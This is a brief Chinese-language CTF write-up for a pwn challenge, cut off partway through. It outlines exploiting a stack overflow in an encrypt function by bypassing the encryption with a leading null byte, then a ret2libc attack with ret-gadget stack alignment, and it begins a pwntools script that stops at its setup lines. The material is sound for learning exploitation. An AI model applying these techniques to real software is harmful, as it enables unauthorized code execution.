checksec一下
IDA打开看看,encrypt函数内存在栈溢出漏洞
由于程序会将输入的内容加密,这会破坏我们的payload,所以注意到strlen函数,通过在payload开头放上 \0 来绕过加密
由于程序内没有后门函数,也没有system函数,所以考虑ret2libc
特别注意到题目是部署在Ubuntu18上的,因此调用system需要栈对齐,这里填充ret来对齐
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
context.log_level='debug'
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla<